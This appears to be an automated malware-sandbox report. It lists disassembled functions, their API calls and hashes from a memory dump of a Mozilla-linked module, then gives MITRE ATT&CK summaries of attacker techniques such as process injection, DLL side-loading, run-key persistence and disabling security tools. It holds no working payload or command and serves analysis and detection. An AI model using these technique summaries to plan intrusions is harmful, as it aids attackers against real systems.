Opcode Fuzzy Hash: 5592997f77adf5324c85018e95626640e50535763a1dbf34c3acb4fd7be563a4
Instruction Fuzzy Hash: AFE09230219640A7CB004A68C5487457BF8AB1332AF644508E5F993A85C3B9D8408391

Function 6C8BBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C8BBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C8BBEF5

Strings

cryptbase.dll, xrefs: 6C8BBEF0

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 2c303bbf4c135c9dabbaeb0fcc2780f3a7fb0d6c4fc20a11fad73c19b3e061c8
Instruction ID: 63016b8b7ac7d975ada820277ebf3ccbd31cccd566dab116641bdb448eec6509
Opcode Fuzzy Hash: 2c303bbf4c135c9dabbaeb0fcc2780f3a7fb0d6c4fc20a11fad73c19b3e061c8
Instruction Fuzzy Hash: 02D0C731194108EAD7506A508D09B2937B4A701715F20C421F79654961C7B5A450CF94

Function 6C8A50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C8A4E9C,?,?,?,?,?), ref: 6C8A510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C8A4E9C,?,?,?,?,?), ref: 6C8A5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C8A5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C8A4E9C), ref: 6C8A5234

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 6922f757e48d74abf59c8097591455a029f29d1440e26954a9cf587876132baf
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: C591AF75505A56CFCB25CF08C490A5ABBA1FF99318B28899CEC585BB15D371FC82CBE0

Function 6C8E08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92E7DC), ref: 6C8E0918
LeaveCriticalSection.KERNEL32(6C92E7DC), ref: 6C8E09A6
EnterCriticalSection.KERNEL32(6C92E7DC,?,00000000), ref: 6C8E09F3
LeaveCriticalSection.KERNEL32(6C92E7DC), ref: 6C8E0ACB

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a32399632b6ced47dae02f53f3b9274151bed6529ac8e23033f9f2178ba524b4
Instruction ID: be7276a0adc3293360428f064ceb9d6fc3b6ca698695f64de5a10886dd276385
Opcode Fuzzy Hash: a32399632b6ced47dae02f53f3b9274151bed6529ac8e23033f9f2178ba524b4
Instruction Fuzzy Hash: AB514D32B256688BEB24AE25C54066573B5EB8BB247354D3AD8E597F84CF34FC0197C0

Function 6C9059C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6C8DE56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6C905A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6C8DE56A,?,|UrlbarCSSSpan), ref: 6C905A5C
free.MOZGLUE(?), ref: 6C905A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6C905B9D

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 0873871c3db6f0610fab9c65bc7a6c7c83d291af0fb87d513ef323f42d07d0ac
Instruction ID: 11baf2b51f05ff200ad64bc7cf7f58e0ebb492b0ab44de1053096136b94818c1
Opcode Fuzzy Hash: 0873871c3db6f0610fab9c65bc7a6c7c83d291af0fb87d513ef323f42d07d0ac
Instruction Fuzzy Hash: 7B515E706087409FDB00CF29C8C171ABBE9FF8A318F04C96DE8899B646D774D945CB66

Function 6C8FB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C8FB2C9,?,?,?,6C8FB127,?,?,?,?,?,?,?,?,?,6C8FAE52), ref: 6C8FB628

Part of subcall function 6C8F90E0: free.MOZGLUE(?,00000000,?,?,6C8FDEDB), ref: 6C8F90FF
Part of subcall function 6C8F90E0: free.MOZGLUE(?,00000000,?,?,6C8FDEDB), ref: 6C8F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C8FB2C9,?,?,?,6C8FB127,?,?,?,?,?,?,?,?,?,6C8FAE52), ref: 6C8FB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C8FB2C9,?,?,?,6C8FB127,?,?,?,?,?,?,?,?,?,6C8FAE52), ref: 6C8FB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C8FB127,?,?,?,?,?,?,?,?), ref: 6C8FB74D

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 96d5f0fc0efc2965bac96e2e22051efb7e6d5de3625b213b2436d7ca5564a8ba
Instruction ID: 337ab26dee7a144a8949ec88a26eb4c62bc931e5c876846cc8045b453a060205
Opcode Fuzzy Hash: 96d5f0fc0efc2965bac96e2e22051efb7e6d5de3625b213b2436d7ca5564a8ba
Instruction Fuzzy Hash: D051C171A05215CFDB24CF58CA8066EB7B5FF46384F55892DC86AAB700D735EC06CBA1

Function 6C8B23D8 Relevance: 5.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a0359e66f880aff7a7406568ca21ee8ac05c702f0fcf8f0fdecbcf8adaeea4
Instruction ID: 5db772314c2c4f73c7b5665e2c8df9af20c15f5cc925273109e2b79aa87740a8
Opcode Fuzzy Hash: a6a0359e66f880aff7a7406568ca21ee8ac05c702f0fcf8f0fdecbcf8adaeea4
Instruction Fuzzy Hash: 1D51B1B0A01206CFDB14CF58CAC878ABBB1BF08318F258669D919AB751D775E891CF90

Function 6C8FDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C8EFF2A), ref: 6C8FDFFD

Part of subcall function 6C8F90E0: free.MOZGLUE(?,00000000,?,?,6C8FDEDB), ref: 6C8F90FF
Part of subcall function 6C8F90E0: free.MOZGLUE(?,00000000,?,?,6C8FDEDB), ref: 6C8F9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C8EFF2A), ref: 6C8FE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C8EFF2A), ref: 6C8FE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C8EFF2A), ref: 6C8FE0FE

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 702357d2773a9790f4370a1cdef44e852bd793ae5b8d181c78b33277a92c177c
Instruction ID: cf12fa332e2068c58848c27d2d64987660caa81e2e084cb0d3400b0faee2d433
Opcode Fuzzy Hash: 702357d2773a9790f4370a1cdef44e852bd793ae5b8d181c78b33277a92c177c
Instruction Fuzzy Hash: 6941C2B1604206CFEB24CF68CA8075A73B6BB85348F244D39D566DB740E731E946CB92

Function 6C906180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9061DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C90622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C906250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C906292

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: f4eb200281843a9ae230e6e48faf68f987015e0f7bb116d7d2097b2600349f61
Instruction ID: 981a2dd1c78981ca2496a397db830082f50ad46bb6b448727e77c7d26c21bf5d
Opcode Fuzzy Hash: f4eb200281843a9ae230e6e48faf68f987015e0f7bb116d7d2097b2600349f61
Instruction Fuzzy Hash: 7731E771B0460A8FDB04CF2CD881AAA73E9FF95308F11453DD95AD7652EB31E698C750

Function 6C8F6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C8F6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C8F6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C8F6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8F6F5C

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5cd0aba31feec8e9efaadc560025132a29daf7318c8beb28effcf99bfb8b741e
Instruction ID: ed4fdc25de75d076a1b8d55bf2bcd9caf8f1d9b6946affdeb788aa5935a185ec
Opcode Fuzzy Hash: 5cd0aba31feec8e9efaadc560025132a29daf7318c8beb28effcf99bfb8b741e
Instruction Fuzzy Hash: 9731D671A1060A8FEB14CF2CCA806AA73E9EF85344F60463DD46AD7651EF31E65AC790

Function 6C90B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C8B0A4D), ref: 6C90B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C8B0A4D), ref: 6C90B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C8B0A4D), ref: 6C90B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C8B0A4D), ref: 6C90B67F

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 31c4accced147b9a64807bc1281be17c684b6406bd03d028f44001aacde0e5d1
Instruction ID: 6ed9df07ec81ec807408c007e7618567badd39ccb193a82375f838fa2478c5c7
Opcode Fuzzy Hash: 31c4accced147b9a64807bc1281be17c684b6406bd03d028f44001aacde0e5d1
Instruction Fuzzy Hash: 4731B471A052168FEB10CF58C85466AFBF9FF81324F16856DC84A9B601DB31E915CBE1

Function 6C8BBBE0 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6C8BBBF4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6C8BBC66
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6C8BBC96
memcpy.VCRUNTIME140(00000000,00000010,0000001F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8BBCCE

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 063ff0c85d6326ff5ada875cdbc6f7a6fa3361207437933ae7c4d3e85cc0baf5
Instruction ID: 71b5b1e9303d5ab70fccf19364cd0bb693015ae0e87a06f74812bb0d2ce890c9
Opcode Fuzzy Hash: 063ff0c85d6326ff5ada875cdbc6f7a6fa3361207437933ae7c4d3e85cc0baf5
Instruction Fuzzy Hash: 30210471B006098BF720CE39CDD573EB2E9EB91308F264E39D956E6751EE70F54482A1

Function 6C8DF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C8DF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C8DF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C8DF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C8DF668

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 3def15b9dc4be481dcbcca4cd952dc87dcffa3682ca00d335ec87b643d9b75ad
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 53314F71A00218AFCB24DF5DDDC0A9F77B5EB94354B188939FA4A8BF04D631F9458B90

Function 6C8A39A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92E744,6C907765,00000000,6C907765,?,6C8C6112), ref: 6C8A39AF
LeaveCriticalSection.KERNEL32(6C92E744,?,6C8C6112), ref: 6C8A3A34
EnterCriticalSection.KERNEL32(6C92E784,6C8C6112), ref: 6C8A3A4B
LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8A3A5F

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2ec8929aac0485d87dc0dbc04701fc0057d47092b463c5727b6aa3309299ac93
Instruction ID: e8aef01b276f7a184daa851701e707a27a3d5f61f82d397fbf2e6199d35ad172
Opcode Fuzzy Hash: 2ec8929aac0485d87dc0dbc04701fc0057d47092b463c5727b6aa3309299ac93
Instruction Fuzzy Hash: F321F632715B114FC7249EB9C585B2573B5EB86B147390A39C5E683F44D738FC068781

Function 6C8BB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C8BB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6C8BB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8BB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8BB9B9

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: 0a0707f1d2cc5f4e7a5fa4976dc35c9e4f0791905887dd4a81cf117787be069a
Instruction ID: 0c57367f7a21c82ce2baa0f99de3defa4ff2f602d59f7eaa561be2486e68fcf5
Opcode Fuzzy Hash: 0a0707f1d2cc5f4e7a5fa4976dc35c9e4f0791905887dd4a81cf117787be069a
Instruction Fuzzy Hash: 191172B1A002099FCB14DF69D8C08ABB7F8BF98314B14493AE919D3701E731E915CAA0

Function 6C8F26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8F26C1
free.MOZGLUE(?), ref: 6C8F26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8F26FF
free.MOZGLUE ref: 6C8F270D

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a3e9d5da0ffaf4ffdb52318dc1c172203c9a5afee36694aef631e788b6687d84
Instruction ID: a1992e407bd4194304b71d932f1fc46ccaa4658804758a3843b1e84e5b726ec3
Opcode Fuzzy Hash: a3e9d5da0ffaf4ffdb52318dc1c172203c9a5afee36694aef631e788b6687d84
Instruction Fuzzy Hash: 3DF0FEB17012405BFB209B58D98494BB36DEF412587500435EA26C3701E339FD15C796

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
